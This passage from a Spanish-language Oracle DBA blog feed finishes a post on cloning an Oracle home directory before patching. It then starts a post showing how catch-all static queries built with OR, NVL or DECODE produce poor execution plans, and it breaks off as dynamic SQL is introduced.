Preparing to launch Oracle Universal Installer from /tmp/OraInstall2009-01-31_04-10-24PM. Please wait ...Oracle Universal Installer, Version 10.2.0.1.0 Production
Copyright (C) 1999, 2005, Oracle. All rights reserved.

You can find a log of this install session at:
&amp;nbsp;/u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_04-10-24PM.log
............................................................... 100% Done.

Installation in progress (Sat Jan 31 16:10:49 PET 2009)
.........................................................................
Install successful

Linking in progress (Sat Jan 31 16:11:03 PET 2009)
. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;74% Done.
Link successful

Setup in progress (Sat Jan 31 16:13:03 PET 2009)
.................... &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;100% Done.
Setup successful

End of install phases.(Sat Jan 31 16:13:08 PET 2009)
WARNING:The following configuration scripts
/u01/app/oracle/product/10.2.0/db_2/root.sh
need to be executed as root for configuring the system.

The cloning of OraDb10g_home2 was successful.
Please check '/u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_04-10-24PM.log' for more details.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Si estamos clonando un &lt;i&gt;Oracle home directory&lt;/i&gt; en &lt;b&gt;11g&lt;/b&gt; debemos tener en cuenta que es requerido indicar también &lt;b&gt;&lt;i&gt;ORACLE_BASE&lt;/i&gt;&lt;/b&gt;:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd /u01/app/oracle/product/10.2.0/db_2/clone/bin
[oracle@urania bin]$ perl clone.pl &lt;span style="color: red;"&gt;ORACLE_BASE="/u01/app/oracle"&lt;/span&gt; ORACLE_HOME="/u01/app/oracle/product/10.2.0/db_2" ORACLE_HOME_NAME="OraDb10g_home2"&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3.&lt;/span&gt; Ejecutar los &lt;i&gt;scripts&lt;/i&gt; de configuración requeridos en el paso anterior.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Si la clonación se ha realizado sobre un servidor que &lt;b&gt;ya tenía&lt;/b&gt; &lt;i&gt;Oracle&lt;/i&gt; installado el mensaje que se obtiene al concluir el paso previo es:&lt;/div&gt;&lt;pre class="codigo"&gt;WARNING:The following configuration scripts
&lt;span style="color: red;"&gt;/u01/app/oracle/product/10.2.0/db_2/root.sh&lt;/span&gt;
need to be executed as root for configuring the system.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;En caso se hubiese tratado de un servidor en el cual se está instalando &lt;i&gt;Oracle&lt;/i&gt; &lt;b&gt;por primera vez&lt;/b&gt;, se obtiene:&lt;/div&gt;&lt;pre class="codigo"&gt;WARNING:A new inventory has been created in this session. However, it has not yet been registered as the central inventory of this system.
To register the new inventory please run the script &lt;span style="color: red;"&gt;'/u01/app/oracle/oraInventory/orainstRoot.sh'&lt;/span&gt; with root privileges.
If you do not register the inventory, you may not be able to update or patch the products you installed.

The following configuration scripts
&lt;span style="color: red;"&gt;/u01/app/oracle/product/10.2.0/db_2/root.sh&lt;/span&gt;
need to be executed as root for configuring the system.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Cualquiera fuese el caso, hay que ejecutar los respectivos &lt;i&gt;scripts&lt;/i&gt; bajo el usuario &lt;b&gt;root&lt;/b&gt;, asumiendo que se trata del último caso:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@caliope ~]#&amp;nbsp;sh&amp;nbsp;/u01/app/oracle/oraInventory/orainstRoot.sh

Changing permissions of /u01/app/oracle/oraInventory to 770.
Changing groupname of /u01/app/oracle/oraInventory to oinstall.
The execution of the script is complete&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@caliope ~]#&amp;nbsp;sh&amp;nbsp;/u01/app/oracle/product/10.2.0/db_2/root.sh

Running Oracle10 root.sh script...

The following environment variables are set as:
&amp;nbsp;&amp;nbsp; &amp;nbsp;ORACLE_OWNER= oracle
&amp;nbsp;&amp;nbsp; &amp;nbsp;ORACLE_HOME= &amp;nbsp;/u01/app/oracle/product/10.2.0/db_2

Enter the full pathname of the local bin directory: [/usr/local/bin]:
&amp;nbsp;&amp;nbsp; Copying dbhome to /usr/local/bin ...
&amp;nbsp;&amp;nbsp; Copying oraenv to /usr/local/bin ...
&amp;nbsp;&amp;nbsp; Copying coraenv to /usr/local/bin ...

Creating /etc/oratab file...
Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;b&gt;¡Felicitaciones!&lt;/b&gt;, si llegaste a éste punto entonces ya tienes un &lt;i&gt;Oracle home directory&lt;/i&gt; debidamente &lt;b&gt;clonado&lt;/b&gt; sobre el cual puedes aplicar el &lt;i&gt;patch&lt;/i&gt; o &lt;i&gt;patch set&lt;/i&gt; que necesitas, sin tener que suspender el servicio (por el momento). En cuanto termines el &lt;i&gt;patching&lt;/i&gt; sobre este &lt;i&gt;Oracle home directory&lt;/i&gt; ya puedes suspender el servicio (de ser necesario) y seguir con los pasos restantes que se señalen en el archivo &lt;b&gt;&lt;i&gt;Installation Notes&lt;/i&gt;&lt;/b&gt; que acompaña al &lt;i&gt;patch/patch set&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Conclusiones&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Es &lt;b&gt;altamente recomendable&lt;/b&gt; realizar el &lt;b&gt;patching&lt;/b&gt; sobre un &lt;b&gt;Clon&lt;/b&gt; del &lt;i&gt;Oracle home directory&lt;/i&gt; &lt;b&gt;original&lt;/b&gt;. Esto permite retrasar la suspensión del servicio hasta el momento en que tengamos el &lt;i&gt;patch&lt;/i&gt; debidamente aplicado sobre el &lt;b&gt;software&lt;/b&gt;, así nos evitaremos desagradables situaciones de tensión en caso algo salga mal.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/10/borr-el-orainventory-no-todo-est.html"&gt;¿Borró el OraInventory? No todo está perdido&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/01/opatch-patch-evitar-conflicto.html"&gt;¿Vas a aplicar un patch? Verifica posibles conflictos&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-7892453754003557797?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/rYzqAJL4voE" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:21:22.293-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/02/cloning-oracle-home-directory.html</feedburner:origLink></item><item><title>El query dinámico de los pobres</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/fdvGWArWUIU/poor-man-dynamic-sql.html</link><category>PLSQL</category><category>SQL</category><category>Tuning</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Sat, 24 Jan 2009 08:55:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-8887071514364810728</guid><description>&lt;div&gt;Luego de casi dos semanas sin postear, les presento un caso curioso que me ocurrió en estos días. Pues ocurre que como parte de una tarea de afinamiento de aplicaciones que me solicitó un cliente, encontré con ayuda de &lt;b&gt;&lt;i&gt;dbms_monitor&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;&lt;i&gt;tkprof&lt;/i&gt;&lt;/b&gt;, que la sentencia responsable del problema de desempeño era una muy peculiar, se trataba de un &lt;i&gt;query&lt;/i&gt; que siendo estático estaba escrito de tal forma que pretendía satisfacer varios criterios de búsqueda, esto sin saber de antemano cuáles han sido proporcionados. Les mostraré cómo esta forma de programar genera código con un pésimo desempeño y veremos desde luego cómo resolverlo, todo esto empleando nuestras conocidas tablas &lt;b&gt;&lt;i&gt;emp&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;&lt;i&gt;dept&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;El Problema Original&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Observen el siguiente &lt;i&gt;query&lt;/i&gt; detenidamente:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE ( e.empno = :empno OR :empno IS NULL )
&amp;nbsp;&amp;nbsp;&amp;nbsp;AND ( e.mgr = :mgr OR :mgr IS NULL )&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;El programador no sabe si el usuario final proporcionará los valores de &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;&lt;i&gt;:mgr&lt;/i&gt;&lt;/b&gt; por lo que, luego de meditarlo, recurre a un "artificio" que le permite escribir una sola sentencia que satisfaga todos los escenarios posibles. Misión cumplida, el query compila y trae resultados, eso es suficiente, lo pasa a producción y sigue con sus tareas, con la plena convicción de que ha hecho un "faenón" &lt;img src="http://lh4.ggpht.com/_13OOTtHDdJc/SXq6x7buG3I/AAAAAAAAASw/V-sqg8o_ytw/hot.gif"/&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Pues bien, cuando la aplicación empieza a ser utilizada los problemas aparecen: aún cuando el usuario final proporciona los datos de la clave primaria de la tabla &lt;b&gt;&lt;i&gt;emp&lt;/i&gt;&lt;/b&gt;, los resultados tardan mucho en aparecer, y es que no podía ser de otra forma, la sentencia está escrita de forma que el &lt;b&gt;Optimizador&lt;/b&gt; se confunde y no saca provecho de los índices existentes:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SQL&amp;gt; variable empno number;
SQL&amp;gt; variable mgr number;
SQL&amp;gt; execute :empno := 7369;
SQL&amp;gt; execute :mgr := NULL;
SQL&amp;gt; SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;&amp;nbsp;3&amp;nbsp;&amp;nbsp;WHERE ( e.empno = :empno OR :empno IS NULL )
&amp;nbsp;&amp;nbsp;4&amp;nbsp;&amp;nbsp;AND ( e.mgr = :mgr OR :mgr IS NULL );

-----------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 4 (100)|
| &amp;nbsp; 1 | &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;28 | &amp;nbsp; &amp;nbsp; 4 &amp;nbsp; (0)|
|* &amp;nbsp;2 | &amp;nbsp; TABLE ACCESS FULL &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;15 | &amp;nbsp; &amp;nbsp; 3 &amp;nbsp; (0)|
| &amp;nbsp; 3 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;13 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;4 | &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 2 - filter(((:EMPNO IS NULL OR "E"."EMPNO"=:EMPNO) AND ("E"."MGR"=:MGR OR
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;:MGR IS NULL)))
&amp;nbsp;&amp;nbsp; 4 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;No importa qué variables proporcionemos, el plan de ejecución será el mismo: &lt;b&gt;Oracle&lt;/b&gt; opta por realizar un &lt;b&gt;&lt;i&gt;Full Table Scan&lt;/i&gt;&lt;/b&gt; (&lt;b&gt;FTS&lt;/b&gt;) de la tabla &lt;b&gt;&lt;i&gt;emp&lt;/b&gt;&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Variantes del Problema&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Desde luego esta no es la única forma de codificar una sentencia estática que pretende ser dinámica, abundan las ideas ingeniosas y por tanto hay variantes pero, como es de prever, con los mismos pésimos resultados:&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;1. Variante usando &lt;b&gt;&lt;i&gt;NVL&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE e.empno = NVL(:empno,e.empno)
&amp;nbsp;&amp;nbsp;&amp;nbsp;AND e.mgr = NVL(:mgr,e.mgr);&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;2. Variante usando &lt;b&gt;&lt;i&gt;DECODE&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE e.empno = DECODE(:empno,NULL,e.empno,:empno)
&amp;nbsp;&amp;nbsp;&amp;nbsp;AND e.mgr = DECODE(:mgr,NULL,e.mgr,:mgr);&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ambas son interpretadas de forma similar por el &lt;b&gt;Optimizador&lt;/b&gt; y producen el mismo plan de ejecución:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;-------------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-------------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 6 (100)|
| &amp;nbsp; 1 | &amp;nbsp;CONCATENATION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|
|* &amp;nbsp;2 | &amp;nbsp; FILTER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|
| &amp;nbsp; 3 | &amp;nbsp; &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 | &amp;nbsp; &amp;nbsp;56 | &amp;nbsp; &amp;nbsp; 4 &amp;nbsp; (0)|
|* &amp;nbsp;4 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 | &amp;nbsp; &amp;nbsp;30 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* &amp;nbsp;5 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX FULL SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp;14 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
| &amp;nbsp; 6 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;13 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;7 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
|* &amp;nbsp;8 | &amp;nbsp; FILTER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|
| &amp;nbsp; 9 | &amp;nbsp; &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;28 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* 10 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;15 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* 11 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX RANGE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
| &amp;nbsp;12 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp;52 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* 13 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
-------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 2 - filter(:EMPNO IS NULL)
&amp;nbsp;&amp;nbsp; 4 - filter("E"."MGR"=NVL(:MGR,"E"."MGR"))
&amp;nbsp;&amp;nbsp; 5 - filter("E"."EMPNO" IS NOT NULL)
&amp;nbsp;&amp;nbsp; 7 - access("E"."DEPTNO"="D"."DEPTNO")
&amp;nbsp;&amp;nbsp; 8 - filter(:EMPNO IS NOT NULL)
&amp;nbsp;&amp;nbsp;10 - filter("E"."MGR"=NVL(:MGR,"E"."MGR"))
&amp;nbsp;&amp;nbsp;11 - access("E"."EMPNO"=:EMPNO)
&amp;nbsp;&amp;nbsp;13 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Pero observemos que, sin llegar a ser óptimo, el plan está mejor pensado: el &lt;b&gt;Optimizador&lt;/b&gt; crea un plan de ejecución condicional, dependiendo de si se proporciona o no un valor para &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; y que se nota por la presencia de &lt;b&gt;&lt;i&gt;FILTER&lt;/i&gt;&lt;/b&gt; en los pasos &lt;b&gt;2&lt;/b&gt; y &lt;b&gt;8&lt;/b&gt; :&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;1. Plan de ejecución si &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; es &lt;b&gt;&lt;i&gt;NULL&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;| &amp;nbsp; 3 | &amp;nbsp; &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 | &amp;nbsp; &amp;nbsp;56 | &amp;nbsp; &amp;nbsp; 4 &amp;nbsp; (0)|
|* &amp;nbsp;4 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 | &amp;nbsp; &amp;nbsp;30 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* &amp;nbsp;5 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX FULL SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp;14 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
| &amp;nbsp; 6 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;13 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;7 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;2. Plan de ejecución si &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; es &lt;b&gt;&lt;i&gt;NOT NULL&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;| &amp;nbsp; 9 | &amp;nbsp; &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;28 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* 10 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;15 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* 11 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX RANGE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
| &amp;nbsp;12 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp;52 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* 13 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¿Está mejor que el &lt;i&gt;query&lt;/i&gt; original no?, pero al ignorar completamente lo que ocurre con &lt;b&gt;&lt;i&gt;:mgr&lt;/i&gt;&lt;/b&gt; el plan de ejecución es desastroso para escenarios en los que sí interviene.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;La solución&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Tratar de soportar todos los escenarios posibles con una sola sentencia ha probado ser una bomba de tiempo antes que una solución, si no sabemos qué variables serán proporcionadas pues entonces hagamos un &lt;b&gt;&lt;i&gt;query&lt;/i&gt; dinámico&lt;/b&gt;, tomará algo más de tiempo pero garantiza que al &lt;b&gt;Optimizador&lt;/b&gt; le será más fácil encontrar el plan de ejecución ideal para el escenario que se le presente. Veamos parte del código modificado:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;. . .
v_query := 'SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)';
v_filtro := ' WHERE 1=1';
IF empno IS NOT NULL THEN
